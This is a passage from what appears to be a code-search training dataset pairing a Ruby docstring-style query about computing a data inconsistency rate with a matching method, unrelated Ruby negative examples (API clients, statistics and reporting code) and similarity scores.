0.00}\r\n \r\n total_field_count_with_data += total_other_fields_with_data.length +\r\n total_amount_fields_with_data.length\r\n total_field_count_with_data += service_payment_eobs_ansi_remark_codes.length if facility.details[:remark_code]\r\n total_field_count_with_data += service_payment_eobs_reason_codes.length if $IS_PARTNER_BAC\r\n \r\n if service_allowable.blank? && insurance_eob == true &&\r\n facility.details[:interest_in_service_line]\r\n if facility.details[:service_date_from]\r\n total_field_count_with_data -= 4\r\n else\r\n total_field_count_with_data -= 2\r\n end\r\n end\r\n \r\n total_field_count_with_data\r\n end", "def scan_data_for_increase\n flag_collection = []\n dataset = get_firebase_data\n dataset.each_with_index do |datapoint, index|\n if (datapoint[1]['humidity'].to_f - dataset[index-1][1]['humidity'].to_f) > 3\n flag_collection << index\n end\n end\n flag_collection\n end", "def features_sum_all(code)\r\n features(code).inject(0.0) {|r, ft| r += ft.value }\r\n end", "def international_rate(weight, region)\n rate = 0\n @rates['international_ems'].each do |w, r|\n next if w.to_i < weight\n r.each do |r_rate|\n return rate = r_rate[region] unless r_rate[region].nil?\n end\n end\n rate\n end", "def interactive_info(i)\n info = [];\n (2013..2019).each{|year|\n info << i.interactive_page.lightweight_activity.runs.where(updated_at: Date.new(year)..Date.new(year+1)).count\n }\n info << i.interactive_page.lightweight_activity.runs.where(updated_at: Date.new(2020)..Date.today).count\n\n info << i.interactive_page.lightweight_activity.runs.count\n info << i.id\n info << i.interactive_page.lightweight_activity.id\n info << i.url\n info\nend", "def each_rate(&block); end", "def merge_featurecounts\n replicates = @reps.flatten\n replicates.each_with_index do |rep, column|\n read_featurecounts(rep, column)\n end\n write_merged_featurecounts\n end", "def get_resource_license_resource_count_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResourceApi.get_resource_license_resource_count_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling ResourceApi.get_resource_license_resource_count_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/resource/LicenseResourceCounts/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ResourceLicenseResourceCount'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"ResourceApi.get_resource_license_resource_count_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResourceApi#get_resource_license_resource_count_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def features_sum_all(code)\n features(code).inject(0.0) {|r, ft| r += ft.value }\n end", "def usage_per_interval\n #end_date = AnalyticsUsage.last.created_at\n #start_date = AnalyticsUsage.first.created_at\n start_date = params[:report_start_date].to_time.to_i\n end_date = params[:report_end_date].to_time.to_i\n interval = params[:interval].to_i\n type= params[:submit]\n institution_ids = params[:institution]\n institution_names = []\n results = []\n institution_ids.each do |id|\n institution = Institution.find_by_id(id)\n name = institution.name.gsub(\" \",\"\").to_s\n institution_names << name\n users = Institution.find_by_id(id).students.map(&:id)\n s = start_date\n e = Time.at(start_date).to_date.plus_with_duration(interval).to_time.to_i\n i = true\n while i\n if s < end_date\n if e > end_date\n e = end_date\n end\n if type==\"Get Report\"\n duration = AnalyticsUsage.where(:user_id=>users,:created_at=>s..e).sum(:today_usage)\n user_count = AnalyticsUsage.select(:user_id).where(:user_id=>users,:created_at=>s..e).map(&:user_id).uniq.count\n results << [Time.at(s).to_date,Time.at(e).to_date,user_count,duration/60,name]\n elsif type == \"User Report\"\n AnalyticsUsage.where(:user_id=>users,:created_at=>s..e).each do |u|\n user = User.includes(:institution=>(:profile),:center=>(:profile),:academic_class=>(:profile),:section=>(:profile)).find_by_id_and_institution_id(u.id,id)\n if user\n results << [Time.at(s).to_date,Time.at(e).to_date,user.try(:name),(user.edutorid rescue \"\"),(user.institution.try(:name) if user.institution rescue \"\"),(user.center.try(:name) if user.center rescue \"\"),(user.academic_class.try(:name) if user.academic_class rescue \"\"),(user.section.try(:name) if user.section rescue \"\"),(u.today_usage/60 rescue 0),Time.at(u.created_at).to_date]\n end\n end\n end\n s = e\n e = Time.at(s).to_date.plus_with_duration(interval).to_time.to_i\n else\n i = false\n end\n end\n end\n if type == \"Get Report\"\n header = \"Start date,End date,Users,Total Duration,Institution\".split(\",\")\n elsif type == \"User Report\"\n header = \"Start date,End Date,Name,EdutorID,Institution,Center,Class,Section,Duration,Date\".split(\",\")\n end\n\n\n csv_data = FasterCSV.generate do |csv|\n csv << header\n results.each do |c|\n csv << c\n end\n end\n filename = \"Usage-Report\"\n institution_names.collect{|i| filename = filename+\"-\"+i}\n logger.info\"======#{filename}\"\n send_data csv_data, :type => 'text/csv; charset=iso-8859-1; header=present', :disposition => \"attachment; filename=#{filename}.csv\"\n end", "def get_by_count(probe)\n pair_info = Hash[@rank_count.select {|rank, cards| cards.length==probe }]\n pair_cards = cards_by_rank(pair_info.keys)\n end", "def count\n load\n @result_count\n end", "def calculate_irr(min_rate, max_rate, amounts)\n while true\n range = max_rate - min_rate\n\n raise RuntimeError if range <= Float::EPSILON * 2\n\n rate = range.fdiv(2) + min_rate\n present_value = npv(rate, amounts)\n\n if present_value > 0\n min_rate = rate\n elsif present_value < -0.5\n max_rate = rate\n else\n return rate\n end\n end\n end", "def get_frequency()\n return(get_cmd('FA;',0.1,0.5,3).gsub(/^FA/,'').gsub(/;$/,'').to_i)\nend", "def anticipated_interest(rate, periods)\n\t\t (1 - (( 1 / ( rate.to_f + 1 )) ** (1.0 / periods)))\n\t\tend", "def find_features\n @features = if params[ :only ]\n params[ :only ].to_s.split( \",\" ).collect( &:to_sym ).uniq\n\n elsif skip = params[ :skip ] || params[ :exclude ]\n monitored_features.keys - skip.to_s.split( \",\" ).collect( &:to_sym )\n\n else\n monitored_features.keys\n end\n end", "def system_integratorlogins_count_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: IntegratorLoginsApi.system_integratorlogins_count_get ...\"\n end\n # resource path\n local_var_path = \"/system/integratorlogins/count\"\n\n # query parameters\n query_params = {}\n query_params[:'conditions'] = opts[:'conditions'] if !opts[:'conditions'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Count')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IntegratorLoginsApi#system_integratorlogins_count_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def rate\n first_at, first_value = @samples.first\n last_at, last_value = @samples.last\n if first_at == last_at\n 0\n else\n (last_value - first_value) / (last_at - first_at)\n end\n end", "def get_ints(count)\n length = 4 * count\n raise EOFError if @position + length > @size\n values = @response[@position, length].unpack('N*' * count)\n @position += length\n return values\n end", "def learning_curve factor\n @learning_curve = []\n current_week_data = current_user.reports.where(exam_date:(Time.now.all_week())).map {|x| x.send(:\"#{factor}\")}\n prev_week_data = current_user.reports.where(exam_date:((Time.now-1.week).all_week())).map {|x| x.send(:\"#{factor}\")}\n @learning_curve << (average(current_week_data) - average(prev_week_data)).round(2)\n current_month_data = current_user.reports.where(exam_date:(Time.now.all_month())).map {|x| x.send(:\"#{factor}\")}\n prev_month_data = current_user.reports.where(exam_date:((Time.now-1.month).all_month())).map {|x| x.send(:\"#{factor}\")}\n @learning_curve << (average(current_month_data) - average(prev_month_data)).round(2)\n @learning_curve = [0,0] if @learning_curve.empty?\n end", "def raw_last_occurrence_age_cache\n @raw_last_occurrence_age_cache ||=\n begin\n result =\n @mode\n .inputs\n .joins(:result)\n .group(:input_representation)\n .minimum(age_exp)\n # We ignore the cached inputs here because we handle them in last_occurrence_cache.\n result.default = Float::INFINITY\n result.freeze\n end\n end", "def rate_array_from(feed_hash)\n feed_hash['Envelope']['Cube']['Cube']\n end", "def get_rate(from, to, opts = T.unsafe(nil)); end", "def discretize_by_Chi2!(delta=0.02) \n # degree of freedom equals one less than number of classes \n df = get_classes.size-1\n \n #\n # Phase 1\n #\n \n sig_level = 0.5\n sig_level0 = sig_level\n \n inst_cnt = get_instance_count\n inconsis_rate = get_IR_by_count(inst_cnt)\n \n # f2bs = {\n # :'sepal-length' => [4.4],\n # :'sepal-width' => [2.0],\n # :'petal-length' => [1.0, 3.0, 5.0],\n # :'petal-width' => [0.1, 1.0, 1.7],\n # }\n \n while true\n chisq = pval2chisq(sig_level, df)\n f2bs = {} # cut ponts\n \n each_feature do |f|\n bs, cs, qs = chi2_init(f)\n chi2_merge(bs, cs, qs, chisq)\n \n f2bs[f] = bs\n end\n \n inconsis_rate = chi2_get_inconsistency_rate(inst_cnt, f2bs)\n \n if inconsis_rate <= delta\n sig_level -= 0.1\n sig_level0 = sig_level\n \n break if sig_level0 <= 0.2 # phase 1 stop at level == 0.2\n else # data inconsistency\n break\n end \n end\n \n #\n # Phase 2\n #\n \n try_levels = [0.1, 0.01, 0.001, 1e-4, \n 1e-5, 1e-6, 1e-7, 1e-8, \n 1e-9, 1e-10, 1e-11, 1e-12] \n mergeble_fs = []\n f2sig_level = {}\n \n each_feature do |f|\n mergeble_fs << f\n f2sig_level[f] = sig_level0\n end\n \n f2bs = {} # cut ponts\n \n while not mergeble_fs.empty?\n mergeble_fs.each do |f|\n #pp f\n bs, cs, qs = chi2_init(f)\n chisq_now = pval2chisq(f2sig_level[f], df)\n chi2_merge(bs, cs, qs, chisq_now)\n \n # backup\n bs_bak = nil\n if f2bs.has_key? f\n bs_bak = f2bs[f]\n end\n f2bs[f] = bs\n \n inconsis_rate = chi2_get_inconsistency_rate(inst_cnt, f2bs)\n \n if (inconsis_rate <= delta)\n # try next level\n next_level = chi2_decrease_sig_level(f2sig_level[f], try_levels)\n f2sig_level[f] = next_level\n \n if not next_level # we've tried all levels\n mergeble_fs.delete(f)\n else\n f2bs[f] = bs # record cut points for this level\n end\n else # cause more inconsistency\n f2bs[f] = bs_bak if bs_bak # restore last cut points\n mergeble_fs.delete(f) # not mergeble\n end\n end\n end\n #pp f2bs\n #pp f2sig_level\n \n # if there is only one interval, remove this feature\n each_sample do |k, s|\n s.delete_if { |f, v| f2bs[f].size <= 1 }\n end\n \n # discretize according to each feature's cut points\n discretize_at_cutpoints!(f2bs)\n end", "def calculate_win_broke_fire_rate\n all_cycles_result = []\n win_rate = []\n fire_rate = []\n broke_rate = []\n # todo we can tune this number\n (@number_of_years-100+@fire_age).times do |i|\n all_cycles_result << calculate_one_cycle(i*12)\n end\n number_of_cycles = all_cycles_result.count\n number_of_months = all_cycles_result[0].count\n\n\n (number_of_months/12).times do |year|\n total_win = 0\n total_fire = 0\n total_broke = 0\n number_of_cycles.times do |cycle|\n year_start_month = year*12\n year_end_month = year*12+11\n\n total_win += all_cycles_result[cycle].slice(year_start_month, year_end_month-year_start_month).count{|i| i == WIN}\n total_fire += all_cycles_result[cycle].slice(year_start_month, year_end_month-year_start_month).count{|i| i == FIRE}\n total_broke += all_cycles_result[cycle].slice(year_start_month, year_end_month-year_start_month).count{|i| i == BROKE}\n end\n total_count = total_win + total_fire + total_broke\n win_rate << total_win/total_count.to_f\n fire_rate << total_fire/total_count.to_f\n broke_rate << total_broke/total_count.to_f\n end\n return [win_rate, fire_rate, broke_rate]\n end", "def get(labels = {})\n synchronize do\n estimator = @values[label_set_for(labels)]\n estimator.invariants.inject({}) do |memo, invariant|\n memo[invariant.quantile] = estimator.query(invariant.quantile)\n memo\n end\n end\n end", "def get_resource_license_resource_count_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResourceApi.get_resource_license_resource_count_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/resource/LicenseResourceCounts'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ResourceLicenseResourceCountResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"ResourceApi.get_resource_license_resource_count_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResourceApi#get_resource_license_resource_count_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def enhance_data(arr)\n puts \"Enhancing data\"\n valscount = {}\n\n####\n if (use_store())\n require 'lib/four_store/store'\n store = FourStore::Store.new 'http://dbtune.org/bbc/programmes/sparql/'\n\n\n arr.each do |pid|\n\n q = \"SELECT ?vals WHERE\n{{<http://www.bbc.co.uk/programmes/#{pid}#programme>\n<http://purl.org/ontology/po/masterbrand> ?vals .} UNION\n{<http://www.bbc.co.uk/programmes/#{pid}#programme>\n<http://purl.org/ontology/po/category> ?vals . } UNION \n{<http://www.bbc.co.uk/programmes/#{pid}#programme> \n<http://purl.org/ontology/po/genre> ?vals . } UNION \n{?vals <http://purl.org/ontology/po/episode>\n<http://www.bbc.co.uk/programmes/#{pid}#programme> . }}\"\n\n puts \"Making query for #{pid}\\n#{q}\"\n response = store.select(q)\n\n response.each do |r|\n url = r[\"vals\"]\n if(valscount[url]==nil)\n valscount[url]=1\n else\n count = valscount[url]\n count = count+1\n valscount[url]=count\n end\n end\n sleep 2\n end\n else\n#not store\n arr.each do |pid|\n\n url = \"http://www.bbc.co.uk/programmes/#{pid}.rdf\"\n puts \"pid url is #{url}\"\n #occassionally we get a duff pid\n\n m = ModelFactory.createDefaultModel()\n\n begin \n m.read(url)\n \n q = \"SELECT ?vals WHERE\n{{<http://www.bbc.co.uk/programmes/#{pid}#programme>\n<http://purl.org/ontology/po/masterbrand> ?vals .} UNION\n{<http://www.bbc.co.uk/programmes/#{pid}#programme>\n<http://purl.org/ontology/po/category> ?vals . } UNION \n{<http://www.bbc.co.uk/programmes/#{pid}#programme> \n<http://purl.org/ontology/po/genre> ?vals . } UNION \n{?vals <http://purl.org/ontology/po/episode>\n<http://www.bbc.co.uk/programmes/#{pid}#programme> . }}\"\n puts \"Making query for #{pid}\\n#{q}\"\n\n qexec = QueryExecutionFactory.create(q, m) ;\n response = qexec.execSelect()\n# ResultSetFormatter.out(java.lang.System.out, response)\n response.each do |r|\n url = r.get(\"vals\").to_s\n puts \"got result #{url}\"\n if(valscount[url]==nil)\n valscount[url]=1\n else\n count = valscount[url]\n count = count+1\n valscount[url]=count\n end\n end\n rescue\n puts \"duff url, continuing\"\n end\n sleep 2\n end\n\n end\n pp valscount\n####\n return valscount\n end", "def energy_row(bg)\n energy_profile = bg.group_energy_profiles.where(age_group: \"all\").first\n total_energy = Calculators::Conversion.to_kWh(energy_profile.imported_electricity_consumption.to_i || 0, energy_profile.imported_electricity_consumption_unit) +\n Calculators::Conversion.to_kWh(energy_profile.generated_electricity_consumption.to_i || 0, energy_profile.generated_electricity_consumption_unit) -\n Calculators::Conversion.to_kWh(energy_profile.exported_electricity.to_i || 0, energy_profile.exported_electricity_unit) +\n Calculators::Conversion.to_kWh(energy_profile.fossil_1_consumption.to_i || 0, energy_profile.fossil_1_consumption_unit) +\n Calculators::Conversion.to_kWh(energy_profile.fossil_2_consumption.to_i || 0, energy_profile.fossil_2_consumption_unit)\n total_emission = Calculators::Conversion.kgCO2_from_kWh(\"imported electricity consumption\", \n Calculators::Conversion.to_kWh(energy_profile.imported_electricity_consumption.to_i || 0, energy_profile.imported_electricity_consumption_unit)) +\n Calculators::Conversion.kgCO2_from_kWh(energy_profile.fossil_1_consumption_type,\n Calculators::Conversion.to_kWh(energy_profile.fossil_1_consumption.to_i || 0, energy_profile.fossil_1_consumption_unit)) +\n Calculators::Conversion.kgCO2_from_kWh(energy_profile.fossil_2_consumption_type,\n Calculators::Conversion.to_kWh(energy_profile.fossil_2_consumption.to_i || 0, energy_profile.fossil_2_consumption_unit))\n\n data = calculate(total_energy, total_emission, bg.total_area, bg.total_occupancy)\n data.merge({name: bg.name + \" \" + bg.category, year: bg.year})\n end", "def get_scan_count()\n if @params.nil?\n start_date = ''\n end_date = ''\n else\n start_date = standardize_date(@params[:start_date])\n end_date = standardize_date(@params[:end_date])\n end\n if start_date.empty? && end_date.empty?\n date_limit = \"date(s.scan_start_timestamp) between current_date - 31 days and current_date\"\n else\n date_limit = \"date(s.scan_start_timestamp) between #{SwareBase.quote_value(start_date)} and #{SwareBase.quote_value(end_date)}\"\n end\n \n asset_id_list = @params[:assets].map {|a| \"(#{a})\"}.join(',')\n (org_l1_id, org_id) = @params[:org_id].split(',')\n ooc_scan_type = @params[:ooc_scan_type]\n ooc_group_id = @params[:ooc_group_id]\n\n gtt_table_name = \"hip_gtt_scan\"\n prototype = \"select s.asset_id, s.scan_id, s.scan_start_timestamp, s.tool_id, t.manager_name, 'y' as used\n from hip_ooc_scan_v as s\n join dim_comm_tool_v as t on t.tool_id = s.tool_id\"\n index_on = ['asset_id', 'tool_id', 'scan_start_timestamp']\n \n load_sql = \"with asset (asset_id) as (values\n #{asset_id_list}\n ),\n scans as (\n select s.scan_id,\n s.asset_id,\n s.scan_start_timestamp,\n s.tool_id,\n t.manager_name,\n case when ooc_scan.scan_id is not null then 'y' else 'n' end as used\n from asset as a\n join dim_comm_tool_asset_scan_hist_v as s on s.asset_id = a.asset_id\n join dim_comm_tool_v as t on t.tool_id = s.tool_id\n left join hip_scan_v as hc_scan on hc_scan.scan_id = s.scan_id\n left join hip_ooc_scan_v as ooc_scan on ooc_scan.scan_id = s.scan_id\n where s.org_l1_id = #{org_l1_id}\n and hc_scan.scan_id is null\n and ( \n ( ooc_scan.scan_id is not null\n and ooc_scan.ooc_scan_type = #{SwareBase.quote_value(ooc_scan_type)}\n and ooc_scan.ooc_group_id in (#{@group_id_list_str})\n and ooc_scan.appear_in_dashboard = 'y'\n )\n or #{date_limit}\n )\n and s.scan_service = 'health'\n )\n select count(*) from final table (\n insert into session.hip_gtt_scan (asset_id, scan_id, scan_start_timestamp, tool_id, manager_name, used)\n (select asset_id, scan_id, scan_start_timestamp, tool_id, manager_name, used from scans)\n )\"\n \n query = \"select s.asset_id, s.scan_id, s.scan_start_timestamp, s.manager_name, s.used, count(f.finding_id) as count\n from session.hip_gtt_scan as s\n left join fact_scan_v as f on f.asset_id = s.asset_id\n and f.org_l1_id = #{org_l1_id}\n and f.scan_tool_id = s.tool_id\n and f.scan_service = 'health'\n and s.scan_start_timestamp between f.row_from_timestamp and coalesce(f.row_to_timestamp, current_timestamp)\n and f.severity_id = 5\n group by s.asset_id, s.scan_id, s.scan_start_timestamp, s.manager_name, s.used\n order by s.scan_start_timestamp desc\n with ur\"\n\n return SwareBase.query_with_temp_table(gtt_table_name, prototype, index_on, load_sql, query)\n end", "def scanning_error_rate()\n\t\[email protected] do |v| \n\t\t\tnot is_value_compatible_with_at_least_one_rule?(v)\n\t\tend.reduce(:+) || 0\n\tend", "def fetch\n http_request(url) do |body|\n incidents = JSON.parse body\n\n counts = {}\n total = incidents[\"resourceSets\"].first[\"estimatedTotal\"]\n resources = incidents[\"resourceSets\"].first[\"resources\"]\n resources.each do |resource|\n severity = resource[\"severity\"]\n counts[severity] = (counts.fetch severity, 0) + 1\n end\n\n @data = {}\n counts.each do |severity, count|\n @data[severity_label(severity)] = count\n end\n end\n end", "def get_multi_count (db, query)\n\tcounts = db.execute query\n\n\tbus_count = counts[0][0]\n\tusr_count = counts[0][1]\n\treturn bus_count + usr_count\nend", "def integral\n return Signal.new(:sample_rate => @sample_rate, :data => Calculus.integral(@data))\n end", "def ecdfs_per_spending_bucket_for_aggregate_card_preses quantile_count, aggregate_card_preses\n card_present_ratios_for_each_spending_bucket(aggregate_card_preses).map do |spending_bucket|\n ecdf(quantile_count, spending_bucket.sort!)\n end\nend", "def effective_rate; end", "def patient_in_numerator\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['NUMER'])\n end.pluck(:_id)\n end" ]
[ "0.71889544", "0.60502756", "0.60220766", "0.51870245", "0.48825082", "0.48470926", "0.4787254", "0.47772256", "0.4759624", "0.47190768", "0.47106472", "0.46925238", "0.4661079", "0.4647908", "0.4634355", "0.46264553", "0.46220815", "0.46197286", "0.46090388", "0.46032047", "0.45629242", "0.45629188", "0.44953045", "0.44953045", "0.44863647", "0.44836262", "0.44750184", "0.44591096", "0.44523886", "0.44382715", "0.44312406", "0.44160032", "0.44029292", "0.43802032", "0.4375733", "0.43745896", "0.43570703", "0.43467695", "0.43331218", "0.43326575", "0.43318874", "0.43314484", "0.4325961", "0.43088388", "0.43083954", "0.43053418", "0.4303482", "0.43002737", "0.42968032", "0.4289173", "0.42886335", "0.42864987", "0.42846787", "0.428113", "0.4280825", "0.42749718", "0.42684984", "0.42609727", "0.4257413", "0.4253756", "0.4252447", "0.42524046", "0.42479143", "0.4243774", "0.4240862", "0.42378584", "0.4236521", "0.4231734", "0.42176437", "0.42123514", "0.42089725", "0.42089036", "0.41990885", "0.41932485", "0.41914654", "0.41907182", "0.41818705", "0.41788217", "0.41665933", "0.41638246", "0.4159997", "0.4157125", "0.4153355", "0.41527456", "0.41507134", "0.41505545", "0.41500014", "0.41480768", "0.4143983", "0.41333255", "0.41314396", "0.41309658", "0.41300836", "0.41238192", "0.41233468", "0.4122468", "0.4117377", "0.4114344", "0.41127542", "0.41121733" ]
0.7662135
0
get_IR_by_feature get data inconsistency rate, suitable for singletime calculation
def get_IR(my_data=nil) my_data ||= get_data # use internal data by default inst_cnt = get_instance_count(my_data) ir = get_IR_by_count(inst_cnt) # inconsistency rate ir end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_IR_by_feature(inst_cnt, feats)\n return 0.0 if feats.empty?\n \n # build new inst_count for feats\n inst_cnt_new = {}\n \n inst_cnt.each do |key, hcnt|\n key_new = feats.sort.collect { |f|\n match_data = key.match(/#{f}:.*?\\|/)\n match_data[0] if match_data\n }.compact.join # remove nil entry and join\n next if key_new.empty?\n \n hcnt_new = inst_cnt_new[key_new] || Hash.new(0)\n # merge cnts\n inst_cnt_new[key_new] = hcnt_new.merge(hcnt) { |kk, v1, v2| v1+v2 }\n end\n \n # inconsistency rate\n get_IR_by_count(inst_cnt_new)\n end", "def get_IR_by_count(inst_cnt) \n incon, sample_size = 0.0, 0.0\n \n inst_cnt.values.each do |hcnt|\n cnt = hcnt.values\n incon += cnt.sum-cnt.max\n sample_size += cnt.sum\n end\n \n # inconsistency rate\n (sample_size.zero?) ? 0.0 : incon/sample_size\n end", "def chi2_get_inconsistency_rate(inst_cnt, f2bs)\n # build a new instance count Hash table\n inst_cnt_new = {}\n \n inst_cnt.each do |key, hcnt|\n key_new = key.dup\n f2bs.keys.each do |f|\n if key_new =~ /#{f}:(.*?)\\|/\n v = $1.to_f\n key_new.gsub!(/#{f}:.*?\\|/, \"#{f}:#{get_index(v, f2bs[f])}|\")\n end\n end\n \n hcnt_new = inst_cnt_new[key_new] ||= Hash.new(0)\n inst_cnt_new[key_new] = hcnt_new.merge(hcnt) { |kk, v1, v2| v1+v2 }\n end\n \n get_IR_by_count(inst_cnt_new)\n end", "def gain(feature)\r\n\t\treturn self.info - self.featureInfo(feature)\r\n\tend", "def get_IG()\n return (get_AIBC(1) / Experimento.new(nil, @glucosa, @glucosa).get_AIBC(1)) * 100\n end", "def param_rate(param_id)\r\n features_pi(FEATURE_PARAM, param_id)\r\n end", "def get_rsi(sym, interval, time_period, series_type, apikey, limit=nil)\n if sym.is_a?(String) && interval.is_a?(String) && time_period.is_a?(Fixnum) && series_type.is_a?(String)\n begin\n response = HTTParty.get(\"#{@@base_uri}function=RSI&symbol=#{sym}&interval=#{interval}&time_period=#{time_period}&series_type=#{series_type}&apikey=#{apikey}\")\n rescue\n return \"Oops! It seems you have a bad URI, please make sure the parameters are valid.\"\n else\n @data = JSON.parse(response.body)\n @key_phrase = \"Technical Analysis: RSI\"\n\n check_if_data_is_valid(limit)\n end\n else\n \"Please make sure sym, interval and series_type are String values, and time_period is Numeric.\"\n end\n end", "def gm_full_rate(interval)\n @gm_full_rate ||= {}\n return @gm_full_rate[interval] if @gm_full_rate[interval]\n @gm_full_rate[interval] = GmRateFinder.find(:revenue, interval, project: project)\n end", "def test_get_larger_feature_vect()\n feature_v = [\"percent_normal_cells\", \n \"percent_stromal_cells\", \n \"percent_tumor_cells\",\n \"percent_lymphocyte_infiltration\",\n \"vital_status\",\n \"death_days_to\",\n \"last_contact_days_to\", \n \"tumor_status\",\n \"ajcc_tumor_pathologic_pt\",\n \"ajcc_nodes_pathologic_pn\", \n \"ajcc_metastasis_pathologic_pm\", \n \"ajcc_pathologic_tumor_stage\"\n ]\n \n rs = ClinicalTCGA::RetrieveSamples.new([\"TCGA-QG-A5YW\", \"TCGA-A6-2676\"],\n feature_v,\n false)\n rs.add_all_sources(\"#{ENV['TCGA_CLINICAL_TEST_DATA']}/Biotab/\", false) # suppress progress bar for unit test\n \n h = Hash.new\n rs.get_feature_vector{|sample,fV| h[sample] = fV}\n \n assert_equal(h[\"TCGA-QG-A5YW\"][0], 10.0, \"not expected value at index 0\")\n assert_equal(h[\"TCGA-A6-2676\"][0], 2.5, \"not expected value at index 0\")\n assert_equal(h[\"TCGA-QG-A5YW\"][-2],nil, \"not expected value at index -2\")\n assert_equal(h[\"TCGA-A6-2676\"][-2],\"M0\", \"not expected value at index -2\")\n end", "def learning_curve factor\n @learning_curve = []\n current_week_data = current_user.reports.where(exam_date:(Time.now.all_week())).map {|x| x.send(:\"#{factor}\")}\n prev_week_data = current_user.reports.where(exam_date:((Time.now-1.week).all_week())).map {|x| x.send(:\"#{factor}\")}\n @learning_curve << (average(current_week_data) - average(prev_week_data)).round(2)\n current_month_data = current_user.reports.where(exam_date:(Time.now.all_month())).map {|x| x.send(:\"#{factor}\")}\n prev_month_data = current_user.reports.where(exam_date:((Time.now-1.month).all_month())).map {|x| x.send(:\"#{factor}\")}\n @learning_curve << (average(current_month_data) - average(prev_month_data)).round(2)\n @learning_curve = [0,0] if @learning_curve.empty?\n end", "def getInts(pep)\n rt_helper = RetentionTime::Helper\n pep_id = pep[0]\n p_int = pep[7] + rt_helper.RandomFloat(-5,2)\n if p_int > 10\n p_int -= 10\n end\n predicted_int = (p_int * 10**-1) * 14183000.0 \n low = 0.1*predicted_int\n relative_ints = (@db.execute \"SELECT ints FROM core_spec WHERE pep_id=#{pep_id}\").flatten[0].gsub(/\\[/,\"\").split(/,/).map{|val| val.to_f}\n core_mzs = (@db.execute \"SELECT mzs FROM core_spec WHERE pep_id=#{pep_id}\").flatten[0].gsub(/\\[/,\"\").split(/,/).map{|val| val.to_f}\n avg = pep[5] #p_rt\n\n sampling_rate = @opts[:sampling_rate].to_f\n wobA = Distribution::Normal.rng(@opts[:wobA].to_f,0.0114199604).call #0.0014199604 is the standard deviation from Hek_cells_100904050914 file\n wobB = Distribution::Normal.rng(@opts[:wobB].to_f,0.01740082).call #1.20280082 is the standard deviation from Hek_cells_100904050914 file\n tail = Distribution::Normal.rng(@opts[:tail].to_f,0.018667495).call #0.258667495 is the standard deviation from 